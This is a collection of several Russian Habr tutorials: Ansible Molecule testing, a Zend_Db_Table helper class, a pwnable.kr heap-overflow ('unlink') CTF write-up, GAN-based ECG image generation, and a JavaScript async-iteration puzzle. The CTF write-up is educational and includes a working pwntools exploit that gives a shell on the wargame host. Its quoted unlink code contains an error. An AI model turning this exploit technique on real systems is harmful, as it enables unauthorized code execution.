name: "{{ item.name }}-{{item.version}}.{{ item.arch }}"
state: installed
with_items:
- { name: 'epel-release', version: '8-11.el8', arch: 'noarch' }
- { name: 'htop', version: '3.0.5-1.el8', arch: 'x86_64' }
- { name: 'nginx', version: '1.14.1-9.module_el8.0.0+1060+3ab382d3', arch: 'x86_64' }
- { name: 'git', version: '2.31.1-2.el8', arch: 'x86_64' }
- name: add webapp user
ansible.builtin.user:
name: webapp
system: true
- name: create an app directory owned by webapp
ansible.builtin.file:
path: /opt/webapp
state: directory
owner: webapp
group: webapp
- name: create app.conf owned by webapp
ansible.builtin.file:
path: /opt/webapp/app.conf
state: touch
owner: webapp
group: webapp
mode: '0755'
access_time: preserve
modification_time: preserve
```
Create и Converge
-----------------
У нас есть роль, которая будет обрабатывать некоторые задачи, что же дальше? Во-первых, мы можем запустить команду molecule create в директории `./demo_role`. Create использует настройки, определенные в конфигурации `molecule.yml`, чтобы определить драйвер и платформу. Для этого примера Molecule будет использовать следующие строки в `molecule.yml`.
```
driver:
name: docker
platforms:
- name: instance
image: quay.io/centos/centos:stream8
pre_build_image: true
```
Он будет использовать Ansible для запуска контейнера Docker на основе образа `quay.io/centos/centos:stream8`, при необходимости извлекая его из реестра контейнеров.
Теперь, когда у нас есть цель и роль, давайте объединим их с molecule converge. Команда converge запускает плейбук `converge.yml` по отношению к целевой платформе.
```
INFO default scenario test matrix: dependency, create, prepare, converge
INFO Performing prerun with role_name_check=0...
INFO Set ANSIBLE_LIBRARY=/home/pcritchfield/.cache/ansible-compat/54dfe2/modules:/home/pcritchfield/.ansible/plugins/modules:/usr/share/ansible/plugins/modules
INFO Set ANSIBLE_COLLECTIONS_PATH=/home/pcritchfield/.cache/ansible-compat/54dfe2/collections:/home/pcritchfield/.ansible/collections:/usr/share/ansible/collections
INFO Set ANSIBLE_ROLES_PATH=/home/pcritchfield/.cache/ansible-compat/54dfe2/roles:/home/pcritchfield/.ansible/roles:/usr/share/ansible/roles:/etc/ansible/roles
INFO Using /home/pcritchfield/.cache/ansible-compat/54dfe2/roles/sample.demo_role symlink to current repository in order to enable Ansible to find the role using its expected full name.
INFO Running default > dependency
WARNING Skipping, missing the requirements file.
WARNING Skipping, missing the requirements file.
INFO Running default > create
WARNING Skipping, instances already created.
INFO Running default > prepare
WARNING Skipping, prepare playbook not configured.
INFO Running default > converge
INFO Sanity checks: 'docker'
PLAY [Converge] ****************************************************************
TASK [Gathering Facts] *********************************************************
ok: [instance]
TASK [Include sample.demo_role] ************************************************
TASK [sample.demo_role : install some packages] ********************************
changed: [instance] => (item=epel-release)
changed: [instance] => (item=htop)
changed: [instance] => (item=nginx)
changed: [instance] => (item=git)
TASK [sample.demo_role : add webapp user] **************************************
changed: [instance]
TASK [sample.demo_role : create an app directory owned by webapp] **************
changed: [instance]
TASK [sample.demo_role : create an app directory owned by webapp] **************
changed: [instance]
PLAY RECAP *********************************************************************
instance : ok=5 changed=4 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
```
Глядя на этот результат, мы можем видеть, как выполняются шаги Molecule. На линии, показывающей `INFO default scenario test matrix: dependency, create, prepare, converge`. Это означает, что запуск molecule create не всегда является необходимым. Часто можно просто запустить команду converge, поскольку она уже включает create.
Написание тестов и Verify
-------------------------
Теперь, когда мы запустили converge и развернули контейнеры, давайте проведем несколько тестов. Используйте команду `molecule verify`, чтобы запустить тест по умолчанию `test_default.py`. Вы должны увидеть вывод, похожий на:
```
INFO default scenario test matrix: verify
INFO Performing prerun with role_name_check=0...
INFO Set ANSIBLE_LIBRARY=/home/pcritchfield/.cache/ansible-compat/54dfe2/modules:/home/pcritchfield/.ansible/plugins/modules:/usr/share/ansible/plugins/modules
INFO Set ANSIBLE_COLLECTIONS_PATH=/home/pcritchfield/.cache/ansible-compat/54dfe2/collections:/home/pcritchfield/.ansible/collections:/usr/share/ansible/collections
INFO Set ANSIBLE_ROLES_PATH=/home/pcritchfield/.cache/ansible-compat/54dfe2/roles:/home/pcritchfield/.ansible/roles:/usr/share/ansible/roles:/etc/ansible/roles
INFO Using /home/pcritchfield/.cache/ansible-compat/54dfe2/roles/sample.demo_role symlink to current repository in order to enable Ansible to find the role using its expected full name.
INFO Running default > verify
INFO Executing Testinfra tests found in /home/pcritchfield/Projects/ansible_molecule/roles/demo_role/molecule/default/tests/...
============================= test session starts ==============================
platform linux -- Python 3.8.10, pytest-7.1.2, pluggy-1.0.0
rootdir: /home/pcritchfield
plugins: testinfra-6.8.0
collected 1 item
molecule/default/tests/test_default.py . [100%]
============================== 1 passed in 1.50s ===============================
INFO Verifier completed successfully.
```
Успешно! Наш тест по умолчанию работает и подтверждает, что root является пользователем. `molecule verify` также позволяет нам повторять наши тесты на существующем контейнере. Нет необходимости повторять `create` и `converge`.
Теперь давайте напишем несколько тестов, чтобы подтвердить, что наша роль выполняет то, что должна. Мы начнем с проверки того, что установлены соответствующие пакеты и версии. Добавьте следующее к `./molecule/default/tests/test_default.py`:
```
import pytest
# Confirm that specific packages and versions are installed
@pytest.mark.parametrize("name,version", [
("epel-release", "8"),
("htop", "3.0"),
("nginx", "1.14"),
("git", "2.31"),
])
def test_packages(host, name, version):
pkg = host.package(name)
assert pkg.is_installed
assert pkg.version.startswith(version)
```
Для тех, кто новичок в тестировании, это может показаться многовато. К счастью, это довольно просто. Мы используем pytest для параметризации сопоставления имени и версии. Затем передаем это в `test_packages` и проверяем имя пакета и его версию. Использование карты позволяет нам написать один тест для всех пакетов. Продолжайте, сохраните этот файл и запустите `molecule verify`. Вы должны увидеть, что четыре теста были успешно выполнены.
```
======================= test session starts ========================
platform linux -- Python 3.8.10, pytest-7.1.2, pluggy-1.0.0
rootdir: /home/pcritchfield
plugins: testinfra-6.8.0
collected 4 items
molecule/default/tests/test_default.py .... [100%]
======================== 4 passed in 2.77s =========================
INFO Verifier completed successfully.
```
Далее мы можем протестировать для пользователя `webapp` и файла `app.conf.` Добавьте следующее к `test_default.py`:
```
# Test that the webapp user is available.
@pytest.mark.parametrize("user,group", [
("webapp", "webapp"),
])
def test_users(host, user, group):
usr = host.user(user)
assert usr.exists
assert usr.group == group
# Test that app.conf is present and has expected permissions
@pytest.mark.parametrize("filename,owner,group,mode", [
("/opt/webapp/app.conf", "webapp", "webapp", 0o755),
])
def test_file(host, filename, owner, group, mode):
target = host.file(filename)
assert target.exists
assert target.user == owner
assert target.group == group
assert target.mode == mode
```
Запустите `molecule verify` еще раз, и теперь вы увидите шесть проходящих тестов:
```
======================= test session starts ========================
platform linux -- Python 3.8.10, pytest-7.1.2, pluggy-1.0.0
rootdir: /home/pcritchfield
plugins: testinfra-6.8.0
collected 6 items
molecule/default/tests/test_default.py ...... [100%]
======================== 6 passed in 4.09s =========================
```
Наконец, чтобы всё очистить, мы можем запустить `molecule destroy`. Это удаляет контейнеры, которые мы развернули и подготовили с помощью create или converge. Это дает нам прекрасную возможность начать все сначала. Обеспечивая уверенность в том, что мы получим последовательные развертывания при каждом использовании нашей `demo_role`.
Одна команда, чтобы управлять ими всеми
---------------------------------------
Одна последняя команда Molecule, которую мы рассмотрим, это `molecule test`. Команда `test` запустит весь сценарий: создание, конвергенцию, проверку и многое другое. Давайте посмотрим, что делает тест в качестве сценария по умолчанию. Запустите команду `molecule matrix test`, чтобы вывести списком все этапы, которые будет проходить `test`:
```
INFO Test matrix
---
default:
- dependency
- lint
- cleanup
- destroy
- syntax
- create
- prepare
- converge
- idempotence
- side_effect
- verify
- cleanup
- destroy
```
Обратите внимание, что происходит гораздо больше, чем просто выполнение тестов, включая компоновку, подготовку среды и тестирование на идемпотентность. Molecule запустит тесты на этапе проверки и очистит тестовую среду. Пробуйте и запускайте molecule test:
Вы можете найти демонстрационный код в этом посте на GitHub (<https://github.com/PCritchfield/ansible/tree/master/ansible_molecule_pt1>)
В следующий раз
---------------
В следующей статье мы углубимся в конфигурацию molecule.yml. Мы рассмотрим тестирование нескольких операционных систем, линтинг и идемпотентность.
Видеокурс [Ansible: Infrastructure as Code](https://slurm.io/ansible?utm_source=habr&utm_medium=article&utm_campaign=ansible&utm_content=article_18-01-2023&utm_term=annavanna) с практикой на стендах. | https://habr.com/ru/post/711432/ | null | ru | null |
# Ускоряем разработку ч.1 (Расиширяем Zend_Db_Table)
Доброго времени суток. Многие согласятся с тем, что Zend Framework — это отличный инструмент, который позволяет сильно сократить время разработки проекта (и не только), но всё-равно часто приходится делать copy-paste методов в разных местах (контроллерах, моделях и т. д. ). Одним из таких мест является модель таблицы базы данных.
Zend\_Db\_Table и так позволяет легко выполнять CRUD операции.
Итак, какие действия при написании, например, модуля для CMS мы выполняем постоянно?
* Добавить элемент
* Выбрать элементы по какому-либо полю
* Удалить элемент
* Обновить элемент
Итак приступим.
Создадим класс library/App/Db/Table.php
> `php<br/
> class App\_Db\_Table extends Zend\_Db\_Table\_Abstract
>
> {
>
>
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Создадим метод для добавления элемента
> `public function addItem($data){
>
> if(empty($data)) {
>
> throw new Exception("Нет данных для добавления");
>
> }
>
> return $this->insert($data);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь создадим метод для обновления элемента по ключевому полю id
> `public function updateItemById($id, $data = NULL){
>
> if(empty($id)) {
>
> throw new Exception("Необходимо указать id обновляемого элемента");
>
> }
>
>
>
> if(empty($data)) {
>
> throw new Exception("Нет данных для обновления");
>
> }
>
>
>
> $where = $this->getAdapter()->quoteInto('id = ?', (int)$id);
>
> return $this->update($data, $where);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Метод удаления элемента по ключевому полю id
> `public function deleteItemById($id){
>
> if(empty($id)) {
>
> throw new Exception("Необходимо указать id удаляемого элемента");
>
> }
>
> $result = $this->delete(array('id = ?' => (int)$id));
>
> if(0 === $result) {
>
> throw new Exception("Элемент не найден");
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Метод выборки элемента по ключевому полю id
> `public function getItemById($id){
>
> if(empty($id)) {
>
> throw new Exception("Необходимо указать id для выбора элемента");
>
> }
>
> $select = $this->getAdapter()->quoteInto('id = ?', (int)$id);
>
> $result = $this->fetchRow($select);
>
> if(NULL !== $result) {
>
> return $result->toArray();
>
> }else{
>
> throw new Exception("Элемент не найден");
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И для удобства будем использовать магический метод getItemsBy, который позволит выбрать элементы по значению любого поля.
> `public function getItemsBy($key, $value){
>
> $where = $this->getAdapter()->quoteInto("$key = ?", $value);
>
> $result = $this->fetchAll($where)->toArray();
>
> if(count($result) > 0) {
>
> return $result;
>
> }else{
>
> throw new Exception("Элементы не найдены");
>
> }
>
> }
>
>
>
> public function \_\_call($name, $arguments) {
>
> if(0 === strpos($name, 'getItemsBy')) {
>
> array\_unshift($arguments, substr($name, 10));
>
> return call\_user\_func\_array(array($this, 'getItemsBy'), $arguments);
>
> }
>
>
>
> throw new Exception("Неизвестный метод ".$name);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как теперь это использовать? Создадим модель таблицы test (applicaiton/models/DbTable/Test.php) расширяющюю созданный нами класс, где будут доступны все написанные нами методы
> `class Model\_DbTable\_Test extends App\_Db\_Table
>
> {
>
> protected $\_name = 'test';
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Пример для контроллера
> `// Создадим объект модели таблицы Test
>
> $model = new Model\_DbTable\_Test();
>
>
>
> // Выберем элемент с id = 1
>
> try{
>
> $item = $model->getItemById(1);
>
> }
>
> catch (Exception $e){
>
> print $e->getMessage();
>
> }
>
>
>
> // Выберем элемент используя магический мето getItemsBy()
>
> try{
>
> $item = $model->getItemsByName('itemname');
>
> }
>
> catch (Exception $e){
>
> print $e->getMessage();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это только несколько методов для примера, которые можно вынести отдельно для частого использования. Так же можно написать магические методы для обновления и удаления элементов, для управления ветками каталогов и т.д.
P.S. не забудте добавить library/App для автоподгрузки классов, например в .ini конфиге
*autoloaderNamespaces[] = «App\_»* | https://habr.com/ru/post/71553/ | null | ru | null |
# Решение задания с pwnable.kr 19 — unlink. Переполнение буфера в куче
В данной статье разберемся с уязвимостью переполнение буфера в куче, а также решим 19-е задание с сайта [pwnable.kr](https://pwnable.kr/index.php).
**Организационная информация**Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
* PWN;
* криптография (Crypto);
* cетевые технологии (Network);
* реверс (Reverse Engineering);
* стеганография (Stegano);
* поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Как организована куча
---------------------
Память может быть занятой (аллоцированной) и свободной. На рисунке представлена динамическая память.
* SSize — размер предыдущего блока памяти, при условии что он свободен.
* Size — размер данного блока памяти, к которому прибалены 2 бита состояния.
* Data — польовательские данные.
* Fd — указатель на следующий свободный блок.
* Bk — указатель на предыдущий свободный блок.
* Free — свободная память.
Таким образом никакие два свободных блока не могут являться соседями. Плюс ко всему, на границе занятой и свободной системной памяти есть специально обрабатываемый свободный W-блок.
Представление блоков в списки (корзины) происходит следующим образом.
Для удаления свободного блока из списка применяется метод unlink.
```
void unlink(S, BK, FD){
BK = S->bk;
FD = S->fd;
FD->bk=BK;
FD->fd=FD;
}
```
Выделение и освобождение памяти
-------------------------------
Разберем как работает mmap. На первом шаге происходит проверка массивов необходимых размеров (к примеру 24 байт). Если есть необходимый блок, то он отделяется с помощью unlink.
На втором шаге, если данный блок достаточно большой, то он делится на две части. Первая часть аллоцируется, а вторая перераспределяется в другой массив.
На третьем шаге, если не было выделена блока необходимого размера, то проверяется W-блок. Есои он удовлетворяет, то с ним проводятся мероприятия шага два. Если W-блок окаался мал, то для расширения доступной памяти испольуются sbrk() и mmap(). Метод Free полность противоположен mmap.
Переполненик буфера в куче
--------------------------
Переполнение кучи — это тип переполнения буфера, который происходит в области данных кучи. Память в куче динамически распределяется приложением во время выполнения и обычно содержит данные программы. Эксплуатация выполняется путем повреждения этих данных особым образом, чтобы приложение перезаписывало внутренние структуры, такие как указатели на связанный список. Метод канонического переполнения кучи перезаписывает связь динамического выделения памяти (например, метаданные malloc) и использует обмен указателями для перезаписи указателя на программную функцию.
Как пример, в функции Unlink, с помощью FD->bk можно изменить значение произвольного слова в памяти. К примеру, положить шеллкод изменить адрес GOT. Пример переполнения рассмотрим на примере.
Решение задания unlink
----------------------
Нажимаем на первую иконку с подписью unlink, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении мы видим соответствующий баннер.
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
Давайте посмотрим исходный код.
Так у нас объект B связывается с объектами А и С. Потом происходит ввод и заполнение объекта А. Имея связь объетов А — B — C и контролируя заполнение А, мы можем переполнить кучу и перезаписать объекты В и С. Необходимо найти способ эксплуатации уязвимости. Посмотрим через gdb.
Таким образом, можно записать шеллкод и переписать адрес возврата из main на наш шеллкод. Адрес возврата попадает в esр из регистра ecx, куда податает из ebр-4. Дизассемблируя функцию unlink, замечаем, что ebр-4 можно контролировать пользовательким вводом.
Разберем, как расположены наши объекты в памяти и как работает функция unlink. Каждый объект занимает в памяти 16 байт (по 4 на указатели и 8 на буффер).
Выделение памяти под объекты происходит в строках main+38, main+54 и main+70. Перед каждым вызовом укаатель на стек (esр) увеличивается на 16 и уменьшается на 12, после чего резервируется 16 байт.
То есть между структурами есть свободные 4 байта.
Далее производится линковка и разлинковка объектов.
Таким образом, нам нужно, чтобы при возврате из функции адрес попадет на место расположения heaр+12, которая передаст управления по адресу, где расположен шеллкод.
```
from pwn import *
s = ssh("unlink", "pwnable.kr", password="guest", port=2222)
ex = s.process("./unlink")
shell_address = p32(0x80484eb)
ans = ex.recv().split("\n")
stack_addr = p32(int(ans[0].split(" ")[5],16) + 16)
heap_addr = p32(int(ans[1].split(" ")[5],16) + 12)
payload = shell_address + "A"*12 + heap_addr + stack_addr
ex.sendline(payload)
ex.interactive()
```
Получаем шелл, читаем флаг, получаем 10 очков.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). В следующий раз разберемся с переполнением кучи. | https://habr.com/ru/post/463227/ | null | ru | null |
# Создание изображений с использованием генеративно-состязательных нейронных сетей (GAN) на примере ЭКГ
Для создания изображений с помощью GAN я буду использовать [Tensorflow.](https://www.tensorflow.org/)
Генеративно-состязательная сеть (GAN) — это модель машинного обучения, в которой две нейронные сети соревнуются друг с другом, чтобы быть более точными в своих прогнозах.
### Как работают GAN?
Первым шагом в создании GAN является определение желаемого конечного результата и сбор начального набора обучающих данных на основе этих параметров. Затем эти данные рандомизируются и передаются в генератор до тех пор, пока они не достигнут базовой точности в получении результатов.
После этого сгенерированные изображения передаются в дискриминатор вместе с фактическими точками данных из исходной концепции. Дискриминатор фильтрует информацию и возвращает вероятность от 0 до 1, чтобы представить подлинность каждого изображения (1 соответствует реальному, а 0 соответствует ложному). Эти значения затем проверяются на точность и повторяются до тех пор, пока не будет достигнут желаемый результат.
### Зачем генерировать изображение ЭКГ?
Я создал проект [coronarography.ai](https://coronarography.ai/) . В нем на вход подается изображение ЭКГ, а на выходе мы получаем наличие патологии магистральных артерий сердца. Мне стало интересно проверить принципиальную возможность генерации изображений ЭКГ и сравнить полученные изображения с реальными.
В дальнейшем мне удалось одновременно генерировать синтетические табличные данные и изображения ЭКГ с сохраненной потоковой зависимостью. (расскажу в следующей статье).
---
### Используемые библиотеки
```
import pandas as pd
import glob
import imageio
import matplotlib.pyplot as plt
import numpy as np
import os
import PIL
from PIL import Image
from tensorflow.keras import layers
import time
import tensorflow as tf
from IPython import display
import seaborn as sns
import matplotlib.pyplot as plt
import matplotlib.mlab as mlab
import matplotlib
from matplotlib.pyplot import figure
from sklearn.preprocessing import MinMaxScaler
import joblib
import tensorflow as tf
from tensorflow.keras.layers import *
from tensorflow.keras.models import Model
print(tf.__version__)
%matplotlib inline
matplotlib.rcParams['figure.figsize'] = (18,10)
import moviepy.editor as mpe
```
### Загрузка и подготовка набора данных
Здесь мы загружаем изображения ЭКГ из папки в массив. Преобразовываем в одноканальное (черно-белое) изображение, нормализуем его.
```
data_image = []
for k in os.listdir('../AI_coronarography/DATA_WORK/DATA_WORK/ЭКГ'):
if k.endswith('.jpg'):
img = Image.open('../AI_coronarography/DATA_WORK/DATA_WORK/ЭКГ/'+k)
img = img.convert('L')
img = img.resize((800, 800))
data_image += [(np.array(img) - 127.5) / 127.5]
```
Пример загруженного ЭКГ изображения
Определим размер батча и перемешаем изображения.
```
train_images = np.array(data_image).reshape(np.array(data_image).shape[0], 800, 800, 1).astype('float32')
BUFFER_SIZE = 100
BATCH_SIZE = 10
train_dataset = tf.data.Dataset.from_tensor_slices(train_images).shuffle(BUFFER_SIZE).batch(BATCH_SIZE)
```
### Определим структуру генератора
```
def make_generator_model():
input_1 = Input(shape=(100, ), name = "Input_image")
x = Dense(25*25*256, use_bias=False)(input_1)
x = BatchNormalization()(x)
x = LeakyReLU()(x)
x = Reshape((25, 25, 256))(x)
x = Conv2DTranspose(256, (1, 1), strides=(1, 1), padding='same', use_bias=False)(x)
x = BatchNormalization()(x)
x = LeakyReLU()(x)
x = Conv2DTranspose(128, (3, 3), strides=(2, 2), padding='same', use_bias=False)(x)
x = BatchNormalization()(x)
x = LeakyReLU()(x)
x = Conv2DTranspose(64, (5, 5), strides=(2, 2), padding='same', use_bias=False)(x)
x = BatchNormalization()(x)
x = LeakyReLU()(x)
x = Conv2DTranspose(32, (7, 7), strides=(2, 2), padding='same', use_bias=False)(x)
x = BatchNormalization()(x)
x = LeakyReLU()(x)
x = Conv2DTranspose(16, (9, 9), strides=(2, 2), padding='same', use_bias=False)(x)
x = BatchNormalization()(x)
x = LeakyReLU()(x)
x = Conv2DTranspose(1, (11, 11), strides=(2, 2), padding='same', use_bias=False, activation='tanh')(x)
model = Model(inputs=input_1, outputs=x)
return model
```
Проверим необученный генератор.
```
generator = make_generator_model()
noise = tf.random.normal([1, 100])
generated_image = generator(noise, training=False)
plt.imshow(generated_image[0, :, :, 0], cmap='gray');
```
### Создадим дискриминатор
```
def make_discriminator_model():
input_1 = Input(shape=(800, 800, 1), name = "Input_image")
x = Conv2D(16, (11, 11), strides=(2, 2), padding='same')(input_1)
x = LeakyReLU()(x)
x = Dropout(0.3)(x)
x = Conv2D(32, (9, 9), strides=(2, 2), padding='same')(x)
x = LeakyReLU()(x)
x = Dropout(0.3)(x)
x = Conv2D(64, (7, 7), strides=(2, 2), padding='same')(x)
x = LeakyReLU()(x)
x = Dropout(0.3)(x)
x = Conv2D(128, (5, 5), strides=(2, 2), padding='same')(x)
x = LeakyReLU()(x)
x = Dropout(0.3)(x)
x = Conv2D(256, (3, 3), strides=(2, 2), padding='same')(x)
x = LeakyReLU()(x)
x = Dropout(0.3)(x)
x = Conv2D(256, (1, 1), strides=(1, 1), padding='same')(x)
x = LeakyReLU()(x)
x = Dropout(0.3)(x)
x = Flatten()(x)
x = Dense(1)(x)
model = Model(inputs=input_1, outputs=x)
return model
```
Мы используем еще не обученный дискриминатор, чтобы классифицировать
сгенерированные изображения как настоящие или фейковые. Модель будет
обучена выводить положительные значения для реальных изображений и
отрицательные значения для поддельных изображений.
```
discriminator = make_discriminator_model()
decision = discriminator(generated_image)
print (decision)
```
```
#result
tf.Tensor([[1.6453338e-05]], shape=(1, 1), dtype=float32)
```
### Определим функции потерь и оптимизаторы для обеих моделей
Потери дискриминатора.
Этот метод количественно определяет, насколько хорошо дискриминатор способен отличать настоящие изображения от фейковых. Он сравнивает предсказания дискриминатора для реальных изображений с массивом 1 и предсказания дискриминатора для поддельных (сгенерированных) изображений с массивом 0.
Потери генератора.
Потеря генератора определяет, насколько хорошо он смог обмануть дискриминатор. Интуитивно, если генератор работает хорошо, дискриминатор классифицирует поддельные изображения как настоящие (или 1).
Оптимизаторы дискриминатора и генератора отличаются, потому что я обучаю две сети по отдельности.
```
cross_entropy = tf.keras.losses.BinaryCrossentropy(from_logits=True)
def discriminator_loss(real_output, fake_output):
real_loss = cross_entropy(tf.ones_like(real_output), real_output)
fake_loss = cross_entropy(tf.zeros_like(fake_output), fake_output)
total_loss = real_loss + fake_loss
return total_loss
def generator_loss(fake_output):
return cross_entropy(tf.ones_like(fake_output), fake_output)
generator_optimizer = tf.keras.optimizers.Adam(1e-4)
discriminator_optimizer = tf.keras.optimizers.Adam(1e-4)
```
Сохраним чекпойнты.
```
checkpoint_dir = './training_checkpoints'
checkpoint_prefix = os.path.join(checkpoint_dir, "ckpt")
checkpoint = tf.train.Checkpoint(generator_optimizer=generator_optimizer,
discriminator_optimizer=discriminator_optimizer,
generator=generator,
discriminator=discriminator)
```
Определение цикла обучения
--------------------------
Цикл обучения начинается с того, что генератор получает на вход случайное начальное число. Это число используется для создания ЭКГ. Затем дискриминатор используется для классификации реальных изображений (извлеченных из обучающего набора) и поддельных изображений (сгенерированных генератором). Потери рассчитываются для каждой из этих моделей, а градиенты используются для обновления генератора и дискриминатора.
```
EPOCHS = 6000
noise_dim = 100
num_examples_to_generate = 1
seed = tf.random.normal([num_examples_to_generate, noise_dim])
@tf.function
def train_step(images):
noise = tf.random.normal([BATCH_SIZE, noise_dim])
with tf.GradientTape() as gen_tape, tf.GradientTape() as disc_tape:
generated_images = generator(noise, training=True)
real_output = discriminator(images, training=True)
fake_output = discriminator(generated_images, training=True)
gen_loss = generator_loss(fake_output)
disc_loss = discriminator_loss(real_output, fake_output)
gradients_of_generator = gen_tape.gradient(gen_loss, generator.trainable_variables)
gradients_of_discriminator = disc_tape.gradient(disc_loss, discriminator.trainable_variables)
generator_optimizer.apply_gradients(zip(gradients_of_generator, generator.trainable_variables))
discriminator_optimizer.apply_gradients(zip(gradients_of_discriminator, discriminator.trainable_variables))
def train(dataset, epochs):
for epoch in range(epochs):
start = time.time()
for image_batch in dataset:
train_step(image_batch)
display.clear_output(wait=True)
generate_and_save_images(generator,
epoch + 1,
seed)
if (epoch + 1) % 500 == 0:
checkpoint.save(file_prefix = checkpoint_prefix)
print ('Time for epoch {} is {} sec'.format(epoch + 1, time.time()-start))
display.clear_output(wait=True)
generate_and_save_images(generator,
epochs,
seed)
```
Создание и сохранение изображений
```
def generate_and_save_images(model, epoch, test_input):
predictions = model(test_input, training=False)
fig = plt.figure(figsize=(12, 12))
plt.imshow(predictions[0, :, :, 0] * 127.5 + 127.5, cmap='gray')
plt.axis('off')
plt.savefig('image_per_epoch/image_at_epoch_{:04d}.png'.format(epoch), bbox_inches='tight', pad_inches=0)
plt.show()
```
Обучение модели
---------------
Вызовите метод train(), определенный выше, для одновременного обучения генератора и дискриминатора. Важно, чтобы генератор и дискриминатор не подавляли друг друга (например, чтобы они обучались с одинаковой скоростью).
В начале обучения сгенерированные изображения выглядят как случайный шум. По мере того, как нейронные сети будут учиться, сгенерированные изображения ЭКГ будут выглядеть все более и более реальными.
```
train(train_dataset, EPOCHS)
```
**Видео обучения нейронной сети, генерирующей изображения ЭКГ.**
**Сравнение реальных и сгенерированных изображений ЭКГ.**
 | https://habr.com/ru/post/709036/ | null | ru | null |
# HolyJS 2019: Разбор задач от компании SEMrush (Часть 2)
Это вторая часть разбора задач от нашего стенда на конференции [HolyJS](https://holyjs-piter.ru/), прошедшей в Санкт-Петербурге 24-25 мая. Для большего контекста рекомендуется сначала ознакомиться с [первой частью](https://habr.com/ru/post/452114/) настоящего материала. А если *Countdown Expression* уже пройден, то добро пожаловать на следующий этап.
В отличие от «мракобесия» в первой задаче, следующие две уже имеют некоторый намек на применимость в жизни нормальных приложений. JavaScript развивается все еще достаточно быстро и решения предложенных проблем подчеркивают некоторые новые возможности языка.
Задача 2 ~ Done by Ones
-----------------------
Предполагалось, что код поочередно выполнит и выведет в консоль ответы по трем запросам, а потом — «done». Но что-то пошло не так… Исправьте ситуацию.
```
;(function() {
let iter = {
[Symbol.iterator]: function* iterf() {
let fs = ['/1', '/2', '/3'];
for (const req in fs) {
yield fetch(req);
}
}
};
for (const res of iter) {
console.log(res);
}
console.log('done');
})();
```
#### Исследование проблемы
Что у нас тут? Это *iterable* объект *iter*, у которого определен *well-known* символ [*Symbol.iterator*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator) через [функцию-генератор](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*). В теле функции объявлен массив *fs*, элементы которого по очереди попадают в функцию [*fetch*](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch) для отправки запроса и результат каждого вызова функции возвращается через *yield*. Какие запросы отправляет функция *fetch*? Все элементы массива *fs* — это относительные пути (*path*) к ресурсам с номерами 1, 2 и 3 соответственно. Значит полный URL будет получен путем конкатенации *location.origin* с очередным номером, например:
`GET https://www.example.com/1`
Далее мы хотим проитерировать объект *iter* через *for-of*, чтобы по очереди выполнить каждый запрос с выводом результата, после всех — вывести «done». Но так не работает! Проблема в том, что *fetch* — штука асинхронная и возвращает промис, а не респонс. Поэтому в консоли мы увидим что-то такое:
`Promise {pending}
Promise {pending}
Promise {pending}
done`
Собственно, задача сводится к резолву этих самых промисов.
#### У нас есть async/await
Первой мыслью может быть поиграться с [*Promise.all*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all): отдать ему наш *iterable* объект, *then* вывод в консоль «done». Но он не обеспечит нам поочередное выполнение запросов (как того требует условие), а просто отправит их все и дождется последнего ответа перед общим резолвом.
Самым простым решением здесь будет *await* в теле *for-of* для ожидания резолва очередного промиса перед выводом в консоль:
```
for (const res of iter) {
console.log(await res);
}
```
Чтобы *await* работал и «done» выводился в конце, необходимо сделать главную функцию асинхронной через *async*:
```
;(async function() {
let iter = { /* ... */ };
for (const res of iter) {
console.log(await res);
}
console.log('done');
})();
```
В этом случае проблема уже решена (почти):
`GET 1st
Response 1st
GET 2nd
Response 2nd
GET 3rd
Response 3rd
done`
#### Асинхронный итератор и генератор
Оставим главную функцию асинхронной, а вот для *await* в этой задаче есть более элегантное место, нежели в теле *for-of*: это использование асинхронной итерации через [*for-await-of*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of), а именно:
```
for await (const res of iter) {
console.log(res);
}
```
Все будет работать! Но если обратиться к описанию [этого *proposal*](https://github.com/tc39/proposal-async-iteration#the-async-iteration-statement-for-await-of) про асинхронную итерацию, то вот что интересно:
> We introduce a variation of the for-of iteration statement which iterates over async iterable objects. Async for-of statements are only allowed within async functions and async generator functions
То есть наш объект должен быть не просто *iterable*, а *«asyncIterable»* через новый *well-known* символ [*Symbol.asyncIterator*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/asyncIterator) и, в нашем случае, уже асинхронную функцию-генератор:
```
let iter = {
[Symbol.asyncIterator]: async function* iterf() {
let fs = ['/1', '/2', '/3'];
for (const req in fs) {
yield await fetch(req);
}
}
};
```
